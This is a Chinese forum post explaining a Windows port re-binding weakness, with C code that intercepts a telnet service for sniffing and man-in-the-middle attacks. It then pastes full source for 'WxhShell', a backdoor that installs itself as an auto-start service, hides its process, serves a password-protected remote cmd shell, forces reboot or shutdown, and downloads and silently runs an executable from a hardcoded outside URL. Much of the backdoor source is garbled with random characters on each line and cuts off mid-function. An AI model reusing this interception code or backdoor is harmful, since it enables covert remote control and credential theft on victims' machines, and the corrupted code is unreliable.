[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; 5C1Rub)
if(chr[0]==0xd || chr[0]==0xa) { 2-!Mao"^
pwd=0; U^BXCu1km
break; /? 1Yf
} ok%!o+nk.
i++; 1Z8Oh_DC
} g4aX
v9lBk]c
// 如果是非法用户，关闭 socket b.q"s6u
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e uHu}
} (!5}" fj
vx}Z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \Rqh|T<D
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nvo1+W(%
y6jmn1K
while(1) { /3Ix,7
kjC{Zr
ZeroMemory(cmd,KEY_BUFF); =z1o}ga=EA
H9Q7({v
// 自动支持客户端 telnet标准 a {$k<@Ww
j=0; ec4%Wk2
while(j<KEY_BUFF) { &Z;8J @
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1 lCikS^c
cmd[j]=chr[0]; i~B@(,
if(chr[0]==0xa || chr[0]==0xd) { iSz@E&[X
cmd[j]=0; ZHD0u)ri=J
break; %_R|@cyD
} *8X9lv.Z
j++; ca3BJWY}J
} maUHjI 5A-
+<WRB\W
// 下载文件 :Mu8W_
if(strstr(cmd,"http://")) { JRjMt-7H_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); b}&7~4zw
if(DownloadFile(cmd,wsh)) z5&%T}$tJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tZu*Asx7
else j)tCr Py
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Prb_/B Dd
} Q@W|GOH3
else { *- IlF]
a}qse5Fr
switch(cmd[0]) { opcR~tg@r
Ns|V7|n]
// 帮助 Bw]L2=d
case '?': { yg-FJ/
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,KhMzE8_a
break; Q_]!an(
} WW[`E
// 安装 }]g95xT
case 'i': { 1;Wkt9]9
if(Install()) n:*_uc^C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mzV"G>,o
else FJd8s*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eC^0I78x
break; 3$$5Mk(&
} >^H'ZYzw
// 卸载 _/jUs_W
case 'r': { 3Zaq#uA
if(Uninstall()) L* khj3;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8yE%X!E
else bQXc IIa{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l~fh_IV1
break; uP(B<NfL:'
} z{`6#
// 显示 wxhshell 所在路径 +U+aWk
case 'p': { 2;%#C!TG;
char svExeFile[MAX_PATH]; !v-w6WG"
strcpy(svExeFile,"\n\r"); 9 wSl,B-
strcat(svExeFile,ExeFile); wuIsO;}/9
send(wsh,svExeFile,strlen(svExeFile),0); Wkg*J3O
break; @Xq&t}*8
} ^sT+5M^
// 重启 Evr2|4|O~
case 'b': { UzU-eyA
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dysX
if(Boot(REBOOT)) u\()E|?p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TV1e bH7q
else { /FP~jV!z
closesocket(wsh); f.b8ZBNj>
ExitThread(0); &*(n<5wt
} *=$[}!YG
break; y3={NB+
} &\[Qm{lN
// 关机 Ynv9&P
case 'd': { k Zk .]b
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xzx[C_G
if(Boot(SHUTDOWN)) F* 3G_V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0(Y%,q
else { u;+%Qh
closesocket(wsh); lSn5=^]q
ExitThread(0); j}|N^A_ S
} tr}KPdE
break; @DfkGm[%
} WdTbt
// 获取shell f![xn2T
case 's': { SW,q}-
CmdShell(wsh); 9"WRIHt'c
closesocket(wsh); !: m`9o8
ExitThread(0); Q?* nuE
break; /;(<fh<bY
} <WM -@J(1
// 退出 /QrA8
case 'x': { ky'|Wk6
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }Q`/K;yq
CloseIt(wsh); kk 8R
break; m3U+ du
} E/:+@'(k
// 离开 jmRhAJV
case 'q': { f|X[gL,B
send(wsh,msg_ws_end,strlen(msg_ws_end),0); IM[54_I
closesocket(wsh); &[NVP&9&U
WSACleanup(); nURvy}<r
exit(1); qzz[y#q(
break; uAp -$?
} !c\7
} v]66.-
} $TR=3[j
Bp&6x;MJf
// 提示信息 vAi"$e
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1T!cc%ah
} kXigX-
} $=\d1%_R|
P\.WXe#j
return; ]9fS@SHdx
} d?JAUbqy
{*sGhGwr
// shell模块句柄 DD2adu^
int CmdShell(SOCKET sock) =nLO?qoe
{ 5RW@_%C
STARTUPINFO si; GNs#oM
ZeroMemory(&si,sizeof(si)); T0g0jr{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R'Sa?6xS4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n.@#rBKZ
PROCESS_INFORMATION ProcessInfo; K-Re"zsz
char cmdline[]="cmd"; F@g17aa
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j(&GVy^;?
return 0; T&]Na
} vxb@9eb!H
Dq|GQdZ>o
// 自身启动模式 wc"9A~
int StartFromService(void) `q^(SM
{ M Z2^@It
typedef struct {JXf*IJ
{ d60c$?"]a(
DWORD ExitStatus; 3]N q@t
DWORD PebBaseAddress; )W#T2Z>N1
DWORD AffinityMask; )GK+
DWORD BasePriority; (/-lV&eR
ULONG UniqueProcessId; l/[pEUYU
ULONG InheritedFromUniqueProcessId; )Q~C4C-j
} PROCESS_BASIC_INFORMATION; 2_wvC
{yTpRQN~
PROCNTQSIP NtQueryInformationProcess; uN8/Q2
I4ebkPgf
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d<!IGt4Ky
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h 5Hr[E1
axtb<5&
HANDLE hProcess; '(tj[&aL
PROCESS_BASIC_INFORMATION pbi; (nq^\ZdF
Oc#>QZ3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z4#v~!
if(NULL == hInst ) return 0; zOL;"/R
pp<E))&R
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =x1Wii$`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bf1)M>g,O
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l~NEGb
0t+])>
if (!NtQueryInformationProcess) return 0; L1:nfH&:'
_H8*ReFG
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |U EC
if(!hProcess) return 0; fCg@FHS&^
h D.)M
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g>yry}>04%
S@Iw;V
CloseHandle(hProcess); sDX/zF6t
>nK%^T
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <<sE`>)
if(hProcess==NULL) return 0; '$?du~L-
`w+1C&>^[
HMODULE hMod; FfG%C>E6~
char procName[255]; JCD?qeTg
unsigned long cbNeeded; #3+~.,X9
y6FKg)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7E\g &R.
M$H`^Pv
CloseHandle(hProcess); YQ7@D]#
Im+7<3Z
if(strstr(procName,"services")) return 1; // 以服务启动 )b0];&hw]
5{X*a
return 0; // 注册表启动 xCq'[9oU
} eF5;[v
{E~Xd
// 主模块 CdL.?^
int StartWxhshell(LPSTR lpCmdLine) nmg{%P
{ G\ex^&M
SOCKET wsl; Kp&3=e;vn{
BOOL val=TRUE; (v^Z BM_
int port=0; lE'wfUb
struct sockaddr_in door; Cfv]VQQE
>vAN(3Idu
if(wscfg.ws_autoins) Install(); ({ k7#1 h8
|'$ l7
port=atoi(lpCmdLine); i?-Y
NbkK&bz
if(port<=0) port=wscfg.ws_port; *)D1!R<\,R
S3y246|4
WSADATA data; `ET& VV
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PIxjM>
`tVy_/3(9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M4:s;@qZ.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (NaK3_
door.sin_family = AF_INET; f3#X0.':
door.sin_addr.s_addr = inet_addr("127.0.0.1"); n[CoS
door.sin_port = htons(port); niz'b]] +
12OlrU
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z_n\5.
closesocket(wsl); no&-YktP}
return 1; H,K`6HH
} tvpN/p
8,*3zVk-
if(listen(wsl,2) == INVALID_SOCKET) { "dtlME{Bx
closesocket(wsl); IaasHo\
return 1; E1(1E?}!
} /b%Q[ Ck_
Wxhshell(wsl); mb{q(WEPP
WSACleanup(); $5A^'q
+t"j-}xzE
return 0; -;Uj|^
kEP<[K
} %l|\of7P2}
;?~ 9hN!
// 以NT服务方式启动 ch })ivFP[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gtYRV*^q
{ 28UVDG1?
DWORD status = 0; >r}Vf9 5[N
DWORD specificError = 0xfffffff; (U9a@1
Oy$<QXj/
serviceStatus.dwServiceType = SERVICE_WIN32; iN)af5)[^
serviceStatus.dwCurrentState = SERVICE_START_PENDING; w}`3 d@
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;_tO+xL&
serviceStatus.dwWin32ExitCode = 0; 7'eh)[T
serviceStatus.dwServiceSpecificExitCode = 0; fj+O'X
serviceStatus.dwCheckPoint = 0; mx}E$b$<CY
serviceStatus.dwWaitHint = 0; /gw Cwyo
O-!,Jm
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e{!vNJ0`
if (hServiceStatusHandle==0) return; >S.91!x
. #U}q 7X
status = GetLastError(); 8&.-]{Z
if (status!=NO_ERROR) ,Rz}=j
{ zH=hIVc
serviceStatus.dwCurrentState = SERVICE_STOPPED; Ef,Cd[]b
serviceStatus.dwCheckPoint = 0; <'2u a
serviceStatus.dwWaitHint = 0; 9,WG!4:+W
serviceStatus.dwWin32ExitCode = status; 7#pZa.B)k
serviceStatus.dwServiceSpecificExitCode = specificError; 784;]wdy\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D9o*8h2$
return; KB+]eI-h
} ]>8)|]O6n
[`nY2[A$
serviceStatus.dwCurrentState = SERVICE_RUNNING; XKSX#cia
serviceStatus.dwCheckPoint = 0; @T7PZB&xnl
serviceStatus.dwWaitHint = 0; Tz` ,{k
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5-w:c>
} $?f]ZyZr.
Z,aGtJ.a'9
// 处理NT服务事件，比如：启动、停止 bn-=fb(
VOID WINAPI NTServiceHandler(DWORD fdwControl) `bqzg
{ O<X )p`,`
switch(fdwControl) B.K4!/cF
{ b:Dg}
case SERVICE_CONTROL_STOP: #r}uin*jD
serviceStatus.dwWin32ExitCode = 0; $G3@< BIN
serviceStatus.dwCurrentState = SERVICE_STOPPED; @L8;VSI
serviceStatus.dwCheckPoint = 0; ]l&'k23~p
serviceStatus.dwWaitHint = 0; ,8VXA +'_
{ CQ18%w6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0b++17aV
} SQ<f
return; qTy v.#{y
case SERVICE_CONTROL_PAUSE: FmI;lVF0j
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4J}3,+
break; ^c'f<<z|7r
case SERVICE_CONTROL_CONTINUE: tN!Bvj:C[M
serviceStatus.dwCurrentState = SERVICE_RUNNING; j@t{@Ke
break; 0WXVc
case SERVICE_CONTROL_INTERROGATE: ^ZVOql&
break; hS_.l}0yf
}; iT$d;5_pU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8&?p
} BS.=
C P&o%Uc*
// 标准应用程序主函数 )_Iz>)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mATH*[Y
{ 5rN7':(H!%
Gh+f1)\FA"
// 获取操作系统版本 r?$&Z^
OsIsNt=GetOsVer(); acae=c|X
GetModuleFileName(NULL,ExeFile,MAX_PATH); }.t^D|
^O \q3HA_4
// 从命令行安装 :D4];d>1
if(strpbrk(lpCmdLine,"iI")) Install(); 8]]@S"ZM,\
5Pqt_ZWy
// 下载执行文件 O! (85rp/
if(wscfg.ws_downexe) { H &fTh
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nl9kYE [
WinExec(wscfg.ws_filenam,SW_HIDE); c(&AnIlS
